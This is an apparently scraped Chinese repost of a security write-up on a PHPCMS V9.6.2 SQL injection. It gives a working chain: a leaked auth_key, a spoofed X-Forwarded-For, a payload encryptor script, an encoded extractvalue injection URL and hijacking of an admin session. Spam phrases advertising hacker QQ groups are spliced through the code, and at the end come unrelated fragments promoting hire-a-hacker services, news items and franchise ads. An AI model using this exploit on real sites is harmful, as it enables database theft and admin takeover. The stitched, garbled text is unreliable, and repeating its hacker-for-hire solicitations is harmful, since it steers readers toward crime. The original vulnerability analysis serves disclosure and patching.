*** 网能够寻找黑客吗-【技术性共享】PHPCMS V9.6.2 SQL注入漏洞分析
根据这篇文章的分析:http://bobao.360.cn/learning/detail/3805.html ,详尽叙述了PHPCMS V9.6.1文档载入漏洞的开启诱因,当发觉网址是phpcms而且取得成功运用随意文档载入漏洞载入时安装文件时是不是能够开展下一步的运用,在phpcms的关键文档/caches/configs/system.php中储存了phpcms整站的数据加密密匙与全局性的配备主要参数:
本人记录查询黑客qq群 1
2
'cookie_pre' => 'qErKa_', //Cookie 作为前缀,同一网站域名下安裝好几套系统软件时,请改动Cookie作为前缀
本人记录查询黑客qq群 'auth_key' => 'U6KnzDrhf6ZQ5Yt7izr0', //密匙
运用这一密匙能够对 phpcms传送的数据信息加解密,应用SkyWolf在PHPcms 9.6.2中发掘来到一枚相互配合密匙运用的SQL注入漏洞,下列是详尽全过程与分析。
Skywolf
SykWolf详细介绍
什么叫SkyWolf?SkyWolf是一款自动化技术灰盒审计系统,说白了灰盒财务审计,在平时对cms的代码审计中能够了解为白盒融合白盒的安全性测试,以PHP拓展方式载入,根据环境污染传送的方式环境污染程序流程全部实行流本人记录查询黑客qq群程,并对程序执行步骤开展安全系数分析。
Skywolf控制面板详细地址:
https://5kee.360.cn/skywolf/
根据浏览网址插口skywolf会积极的分析正中间启用逻辑性,来列举出异常的漏洞
报警解决:展现Skywolf发觉业务流程早已开启的漏洞告警信息,点进来见到详尽的漏洞本人记录查询黑客qq群信息内容:
可疑问:服务器端数据库查询实行的异常句子
启用栈:程序流程在实行这一次要求之中所启用的涵数与编码文档物理学途径、在文档中的个数。
SQL注入漏洞分析
当浏览到phpcms的member插口:
1
phpcmsv961_1/index.php?m=member
skywolf传出了有关报警:
详尽分析以下:
在vip前台接待管理处插口的承继父类foreground:
/phpcms/modules/member/index.php 本人记录查询黑客qq群 LINE 11
1
2
3
4
5
6
本人记录查询黑客qq群 class index extends foreground {
private $times_db;
function __construct() {
本人记录查询黑客qq群 parent::__construct();
$this->http_user_agent = $_SERVER['HTTP_USER_AGENT'];
本人记录查询黑客qq群 }
这儿承继了foreground,跟进去:
/phpcms/modules/member/classes/foreground.class.php line 19-38:
1
2
3
4个人记录查询黑客qq群
5
6
7
8
9
10
11
12
13
本人记录查询黑客qq群 14
15
16
17
18
19
20
21
/**
本人记录查询黑客qq群 * 分辨客户是不是早已登录
*/
final public function check_member() {
本人记录查询黑客qq群 $phpcms_auth = param::get_cookie('auth');
本人记录查询黑客qq群 if(ROUTE_M =='member' && ROUTE_C =='index' && in_array(ROUTE_A, array('login', 'register', 'mini','send_newmail'))) {
本人记录查询黑客qq群 if ($phpcms_auth && ROUTE_A != 'mini') {
showmessage(本人记录查询黑客qq群L('login_success', '', 'member'), 'index.php?m=member&c=index');
} else {
本人记录查询黑客qq群 return true;
}
本人记录查询黑客qq群 } else {
//分辨是不是存有auth cookie
&本人记录查询黑客qq群nbsp; if ($phpcms_auth) {
$auth_key = $auth_key = get_auth_key('login');
本人记录查询黑客qq群 list($userid, $password) = explode(本人记录查询黑客qq群"\ ", sys_auth($phpcms_auth, 'DECODE', $auth_key));
& nbsp; //验证用户,获取用户信息
个人信息查询黑客qq群 $this->memberinfo = $this->db->get_one(array('userid'=>$userid)); //注入点在这
个人信息查询黑客qq群 if($this->memberinfo['islock']) exit('<h1>Bad Request!</h1>');
个人信息查询黑客qq群 //获取用户模型信息
$this-个人信息查询黑客qq群>db->set_model($this->memberinfo['modelid']);
首先看到这里是验证前台会员用户是否登录,验证 *** 是解析客户端的cookie_pre_auth参数:
1
个人信息查询黑客qq群 $phpcms_auth = param::get_cookie('auth’);
跟到get_cookie函数:
/phpcms/libs/classes/param.class.php LINE 107-116
1
2
3
4
个人信息查询黑客qq群 5
6
7
8
9
10
11
12
13
14
15
个人信息查询黑客qq群16
/**
* 获取通过 set_cookie 设置的 cookie 变量
&个人信息查询黑客qq群nbsp; * @param string $var 变量名
* @param string $default 默认值
个人信息查询黑客qq群 * @return mixed 成功则返回cookie 值,否则返回 false
*/
public static function get_cookie($var, $default = '') {
个人信息查询黑客qq群 $var = pc_base::load_config('system','cookie_pre').$var;
个人信息查询黑客qq群 $value = isset($_COOKIE[$var]) ? sys_auth($_COOKIE[$var], 'DECODE') : $default;
if(in_array($var,array('_userid','userid','siteid','_groupid','_roleid'))) {
个人信息查询黑客qq群 $value = intval($value);
个人信息查询黑客qq群 } elseif(in_array($var,array('_username','username','_nickname','admin_username','sys_lang'))) { // site_model auth
个人信息查询黑客qq群 $value = safe_replace($value);
}
return $value;
个人信息查询黑客qq群 }
首先读取system.php(网站全局配置./caches/configs/system.php)中的配置参数cookie_pre,也就是网站默认随机分配的cookie前缀,然后再读取到客户端cookie中的cookie_pre_auth值放入sys_auth中个人信息查询黑客qq群解密,那么客户端的cookie_pre_auth应该是经过加密处理后的,有了这些信息后get_cookie先放到这里往下走到get_auth_key:
1
2
3
4
$auth_key =&个人信息查询黑客qq群nbsp;$auth_key = get_auth_key('login');
list($userid, $password) = explode("\t", sys_auth($phpcms_auth, 'DECODE', $auth_key));
个人信息查询黑客qq群 //验证用户,获取用户信息
个人信息查询黑客qq群 $this->memberinfo = $this->db->get_one(array('userid'=>$userid));
这里咱们看到DECODE用到的key是$auth_key,而$auth_key又是通过get_auth_key('login’)获得的,再跟进get_auth_key:
./phpcms/libs/functions/global.func.php 个人信息查询黑客qq群 LINE 1601-1611:
1
2
3个人信息查询黑客qq群
4
5
6
7
8
9
10
11
12
13
个人信息查询黑客qq群14
15
16
/**
* 生成验证key
* @param $prefix 参数
个人信息查询黑客qq群 * @param $suffix 参数
*/
function get_auth_key($prefix,$suffix="") {
if($prefix=='login'){
个人信息查询黑客qq群 $pc_auth_key = md5(pc_base::load_config('system','auth_key').ip());
}else if($prefix=='email'){
个人信息查询黑客qq群 $pc_auth_key = md5(pc_base::load_config('system','auth_key'));
}else{
个人信息查询黑客qq群 $pc_auth_key = md5(pc_base::load_config('system','auth_key').$suffix);
}
$authkey = md5($prefix.$pc_auth_key);
个人信息查询黑客qq群 return $authkey;
}
可以看到这个$prefix即是外部传入的login,满足$prefix==‘login’后开始拼接客户端ip地址再对值进行md5加密,发现ip()是可以伪个人信息查询黑客qq群造的:
1
2
3
4
5
6
7
8
9
个人信息查询黑客qq群 10
11
12
function ip() {
if(getenv('HTTP_CLIENT_IP') && strcasecmp(getenv(个人信息查询黑客qq群'HTTP_CLIENT_IP'), 'unknown')) {
$ip = getenv('HTTP_CLIENT_IP');
个人信息查询黑客qq群 } elseif(getenv('HTTP_X_FORWARDED_FOR') && strcasecmp(getenv('HTTP_X_FORWARDED_FOR'), 'unknown')) {
$ip = getenv('HTTP_X_FORWARDED_个人信息查询黑客qq群FOR');
} elseif(getenv('REMOTE_ADDR') && strcasecmp(getenv('REMOTE_ADDR'), 'unknown')) {
个人信息查询黑客qq群 $ip = getenv('REMOTE_ADDR');
} elseif(isset($_SERVER['REMOTE_ADDR']) && $_SERVER['REMOTE_ADDR'] && strcasecmp(个人信息查询黑客qq群$_SERVER['REMOTE_ADDR'], 'unknown')) {
$ip = $_SERVER['REMOTE_ADDR'];
}
个人信息查询黑客qq群 return preg_match ( '/[\d\.]{7,15}/', $ip, $matches ) ? $matches [0] : '';
}
最后得到的md5值就是sys_auth($phpcms_auth, 个人信息查询黑客qq群 'DECODE', $auth_key)的解密key了,这样来分析的话payload就是经过了两次加密,完全无视任何第三方防御。
加密流程:
漏洞利用
利用方式就简单了:
通过任个人信息查询黑客qq群意文件读取获取到全局配置文件的auth_key值:
首先执行get_auth_key加密,在代码中输出$authkey = md5($prefix.$pc_auth_key)的值:
1
2
个人信息查询黑客qq群 3
4
5
6
7
8
9
10
11
12
1个人信息查询黑客qq群3
function get_auth_key($prefix,$suffix="") {
if($prefix=='login'){
个人信息查询黑客qq群 $pc_auth_key = md5(pc_base::load_config('system','auth_key').ip());
}else if($prefix=='email'){
&个人信息查询黑客qq群nbsp;$pc_auth_key = md5(pc_base::load_config('system','auth_key'));
}else{
$pc_auth_key = md5(pc_base::load_config('system','auth_key').$suffix);
个人信息查询黑客qq群 }
$authkey = md5($prefix.$pc_auth_key);
个人信息查询黑客qq群 echo $authkey;
exit();
return $authkey;
}
方便测试,IP参数伪造为X-Forwarded-For: 个人信息查询黑客qq群 123.59.214.3,输出了$authkey后直接exit了:
1
e58cb4eb9cc211f7b0fc070d428438de
然后把phpcms关键的加解密函数sys_auth单独写到某个php文件里面:
sys_auth_key.php:
个人信息查询黑客qq群 1
2
3
4
5
6
7
8
个人信息查询黑客qq群 9
10
11
12
13
14
15
16
17
18
个人信息查询黑客qq群 19
20
21
22
23
24
25
26
27
28
个人信息查询黑客qq群 29
30
31
32
33
34
35
36
37
38
个人信息查询黑客qq群 39
40
41
42
43
44
45
46
47
48
4950
51
52
53
54
55
<?php
/**
个人信息查询黑客qq群 * 字符串加密、解密函数
*
*
* @param string $txt 字符串
个人信息查询黑客qq群 * @param string $operation ENCODE为加密,DECODE为解密,可选参数,默认为ENCODE,
* @param string 个人信息查询黑客qq群 $key 密钥:数字、字母、下划线
* @param string $expiry 个人信息查询黑客qq群过期时间
* @return string
*/
function sys_auth($string, $operation = 'ENCODE', $key = '', $expiry = 0) {
个人信息查询黑客qq群 $ckey_length = 4;
$key = md5($key != '' ? $key : '');
$keya = md5(substr($key, 0, 16));$keyb = md5(substr($key, 16, 16));
个人信息查询黑客qq群 $keyc = $ckey_length ? ($operation == 'DECODE' ? substr($string, 0, $ckey_length): substr(md5(microtime()), -$ckey_length)) : '';
个人信息查询黑客qq群$cryptkey = $keya.md5($keya.$keyc);
$key_length = strlen($cryptkey);
个人信息查询黑客qq群 $string = $operation == 'DECODE' ? base64_decode(strtr(substr($string, $ckey_length), '-_', '+/')) : sprintf('%010d', $expiry ? $expiry + time() : 0).substr(md5($string.$keyb), 0, 16).$string;
个人信息查询黑客qq群 $string_length = strlen($string);
$result = '';
个人信息查询黑客qq群 $box = range(0, 255);
$rndkey = array();
个人信息查询黑客qq群 for($i = 0; $i <= 255; $i++) {
$rndkey[$i] = ord($cryptkey[$i % $key_length]);
个人信息查询黑客qq群 }
for($j = $i = 0; $i < 256; $i++) {
$j =个人信息查询黑客qq群 ($j + $box[$i] + $rndkey[$i]) % 256;
$tmp = $box[$i];
个人信息查询黑客qq群 $box[$i] = $box[$j];
$box[$j] = $tmp;
}
&个人信息查询黑客qq群nbsp; for($a = $j = $i = 0; $i < $string_length; $i++) {
$a = ($a + 个人信息查询黑客qq群1) % 256;
$j = ($j + $box[$a]) % 256;
$tmp = $box[$a];
个人信息查询黑客qq群 $box[$a] = $box[$j];
$box[$j] = $tmp;
$result .= chr(ord($string[$i]) ^ ($box[($box[$a] + $box[$j]) % 256]));}个人信息查询黑客qq群
if($operation == 'DECODE') {
个人信息查询黑客qq群 if((substr($result, 0, 10) == 0 || substr($result, 0, 10) - time() > 0) && substr($result, 10, 16) == substr(md5(substr($result, 26).$keyb), 0, 16)) {
个人信息查询黑客qq群 return substr($result, 26);
} else {
个人信息查询黑客qq群 return '';
}
} else {
个人信息查询黑客qq群 return $keyc.rtrim(strtr(base64_encode($result), '+/', '-_'), '=');
}
个人信息查询黑客qq群 }
$sql = $_GET['sql'];
$key = $_GET['key'];
echo sys_auth($sql,'ENCODE',$key);
?>
带入$authkey与sqli 个人信息查询黑客qq群 payload:
之一次加密:
1
http://127.0.0.1/dashboard/sys_auth_key.php?sql=1%27%20and%20%28extractvalue%281%2Cconcat%280x7e%2C%28select%20user%28%29%29%2C0x7e%29%29%29%个人信息查询黑客qq群3B%23%5Ctokee&key=e58cb4eb9cc211f7b0fc070d428438de
第二次加密:
1
2
http://127.0.0.1个人信息查询黑客qq群/dashboard/sys_auth_key.php?sql=b5a4XCOdNpHwEb7nT4CUVMjUkE_cO9B7umiy5--PEK9R094s0L-dvb0HVCB5RUf1SlGkbDbu7HS6lL0mgrx8CGHWjG3m01zuIiyM5dbJ6D0lXZoZZvjOpIXlwTx_30M&key=exbsh7iuTSQsEcwLBcnB
5cb5c0FCT6个人信息查询黑客qq群xz4xz7T1WONsQUFmoD3r0s8EkbTGyKIcnGDJsFO8g8fqAsJLu7_FuzHd *** syxf7RL1jzO0Lvpq_3bzvfxOB6RRNEr938TYOwW3-QrF4JevCrf8taCsSuwK1FN6hwWf2s1AQDoXc2RL6SlZ-YwM3msW7vafcw5Vmxq7cPp3NSap1SV7l5h8gdGbm0HxiI_AmC4OTrFf
然后带入到auth中里面去访问member接口:
伪造session进入后台
众所周知,通过sql注入得到的phpcms的管理员密码是无法破解出来的,具体加密啊算法:
/phpcms/libs/functions/global.func.php 个人信息查询黑客qq群 LINE 1248
1
2
3
4
5
6
7
8
个人信息查询黑客qq群 9
10
11
12
/**
* 对用户的密码进行加密
* @param $password
* 个人信息查询黑客qq群@param $encrypt //传入加密串,在修改密码时做认证
* @return array/password
*/
function password($password, $encrypt='') {
&个人信息查询黑客qq群nbsp; $pwd = array();
$pwd['encrypt'] = $encrypt ? $encrypt : create_randomstr();
个人信息查询黑客qq群 $pwd['password'] = md5(md5(trim($password)).$pwd['encrypt']);
return $encrypt ? $pwd['password'] : $pwd;
}
简单来说就是把明文密码做md5加密再连接上encrypt值(encrypt是创建用户的时候随机分配的字符串),再做一次md5加密,这样就很难解密了。
然而phpcms一直存在一处问题就是管理员登陆后台会将服务端的session值保存在数据库中,通过注入可以获取到session值来伪造访问后台页面,具体配置在system.php中:
个人信息查询黑客qq群 1
2
3
4
5
6
7
8
9
10
1个人信息查询黑客qq群1
12
13
14
<?php
return array(
//网站路径
'web_path' => '/phpcmsv961/',
个人信息查询黑客qq群 //Session配置
'session_storage' => 'mysql',
'session_ttl' => 1800,
'session_savepath' => CACHE_PATH.'sessions/',
个人信息查询黑客qq群 'session_n' => 0,
//Cookie配置
'cookie_domain' => '', //Cookie 作用域
个人信息查询黑客qq群 'cookie_path' => '', //Cookie 作用路径
'cookie_pre' => 'qErKa_', //Cookie 前缀,同一域名下安装多套系统时,请修改Cookie前缀
个人信息查询黑客qq群 'cookie_ttl' => 0, //Cookie 生命周期,0 表示随浏览器进程
mysql存储方式,session有效期为30分钟。
/phpcms/libs/classes/session_mysql.class.php
1
2
3
4
个人信息查询黑客qq群 5
6
7
8
9
10
11
12
13
14
个人信息查询黑客qq群 15
16
17
18
19
20
/**
* 删除指定的session_id
*
* @param $id session
* @return bool
*/
public function destroy($id) {
个人信息查询黑客qq群 return $this->db->delete(array('sessionid'=>$id));
}
/**
* 删个人信息查询黑客qq群除过期的 session
*
* @param $maxlifetime 存活期时间
* @return bool
*/
个人信息查询黑客qq群 public function gc($maxlifetime) {
$expiretime = SYS_TIME - $maxlifetime;
&个人信息查询黑客qq群nbsp; return $this->db->delete("`lastvisit`<$expiretime");
}
}
只要触发了gc或destroy函数就会删除数据库中的session值,当管理员重新登陆后台个人信息查询黑客qq群后才重新生成session插入数据库中。
session数据库存放位置:
从mysql日志中分析可知:当管理员登陆后台会插入新的session到v9_session表中,每次后台操作都会进行这样的操作,使数据库中的sessionid保持最新,但是值不变。
在管理员登陆后台并且在未注销的前提下是可以通过获取管理员session值来伪造登陆的,限于篇幅,注入过程不再细说,这里直接上图:
得到sessionid,在得到这个参数后还需要一个值,就是pc_hash值,这个值在后台是个随机数,作者是想防止越权以及csrf而设计的,然而对于获取到了后台权限的我们只个人信息查询黑客qq群是一个摆设,下面直接提交数据包访问控制台首页:
修复方案
最新版本的phpcmsv9.6.3都已经修复了任意文件读取漏洞与sql注入点,可以下载最新版的补丁进行防护:
UTF8:
http://download.phpcms.cn/v9/9.0/patch/utf8/patch_20170503_20170515_UTF8.zip
gbk:
http://download.phpcms.cn/v9/9.0/patch/gbk/patch_20170503_20170515_GBK.zip
传送门
【漏洞分析】PHPCMS V9.6.1 任意文件读取漏洞分析(含PoC,已有补丁)
本文由 安全客 原创发布,个人信息查询黑客qq群如需转载请注明来源及本文地址。
本文地址:http://bobao.360.cn/learning/detail/3884.html
作者:0r3ak@0kee Team
华夏黑客联盟(我国之一个)黑客X档案(目前人气更高)红客基地(属于为国黑客)以上三种比较好,这是我个人观点!我觉得菜鸟更好去黑客X档案,因为。 *** 可以找到黑客吗
个人信息查询黑客qq群谁有黑客的qq群介绍个。操,还十大黑客,我就醉了中国貌似只有三个被公认的黑客,你说的是哪国的河北省呀1.ANONYMOUSAnonymous,匿名者,全球更大的政治性黑客组织,以对一些国家的 *** 网站,和企业网站实施攻击而出名。在巴黎恐怖袭击事件发生之后,Anonymous之一。
*** 可以找到黑客吗。买家拉黑不好控制,毕竟买家没有店铺支持 目前有卖家拉黑功能,不过聊天软件上可以彼此拉黑的如果是付款后拉黑买家(买家未对个人信息查询黑客qq群卖家言语辱骂等或争论导致不愉快),买家可以申请退款或者收货觉得还算满意,确认收货时对于服务给予差评;要注意的是如果卖家。
自己泄漏了苹果id和密码对方可以通过查找我的iPhone进行锁机的所以千万不要点击来历不明的邮件来套取你的苹果id和密码这是健康系统,为了防止孩子们沉迷游戏的,实名注册的身份证如果是没成年的那你一天只能玩一小时,要到第二天的八点后。
你说的应该是《战争游戏》吧大卫?莱特曼(马修?布罗德里克个人信息查询黑客qq群饰)是一位天才少年,他将业余时间全都投在了电脑游戏上。一天,他通过搜索,搜到。 *** 可以找到黑客吗
首先来回答您的问题所有编程初始都要学习代码中的语言,最基础的就是C语言,当你稍微了解C语言,可以尝试学一学当今就。
*** 可以找到黑客吗我会!这个垃圾公司一生黑,我要把他骂到死。当然,只是骂,不干犯法的事这个问题,要先正确的定义黑客的概念。真正的黑客通常本身就是 *** 安全专家,他们的入侵行为通常只是一些技术性的检测或个人信息查询黑客qq群是同行之间的切磋,并不会涉及到利益。
《云南日报》是中共云南省委的机关报,属党报性质。云南日报报业集团是中共云南省委的直属机关,是省委的重要工作部门,履行党报和省委机关报的职能,是《云南。 网址:(云南日报网)投稿方式:也可登陆云南日报网...
北京时间8月2日早间消息,美国社交新闻网站Reddit周三宣布,该公司的几个系统遭到黑客入侵,导致一些用户数据被盗,其中包括用户目前使用的电子邮箱以及2007年的一份包含旧加密密码的数据库备份。 ...
奶茶行业一直以来都是饮品行业中最受接待的行业之一,所以很多的加盟投资者就看中了奶茶行业,一时间掀起一股加盟奶茶行业的高潮,与此同时,奶茶行业之间的竞争也是越来越大,所以列位加盟者选择一个好的加盟品牌就...
pro是什么意思中文(手机的Pro版本一般代表什么意思) 智能手机发展到如今已有多年的历史,手机市场体系也非常完善,高中低端产品皆有,用户的选择性非常大。然而让用户比较困扰的是手机产品命名多样...
黑客软件是什么意思(黑客刷钻软件)(tiechemo.com)一直致力于黑客(HACK)技术、黑客QQ群、信息安全、web安全、渗透运维、黑客工具、找黑客、黑客联系方式、24小时在线网络黑客、黑客业务...
滞涨是什么意思 滞涨也好,通缩也罢,这都是经济的表现形式,还有衰退、温和通胀、恶性通胀以及滞胀,要说到杀伤力,实则除了温和通胀外,每一种杀伤力都很大,然而也要根据不同的因素才能得出更为合理的判断,然...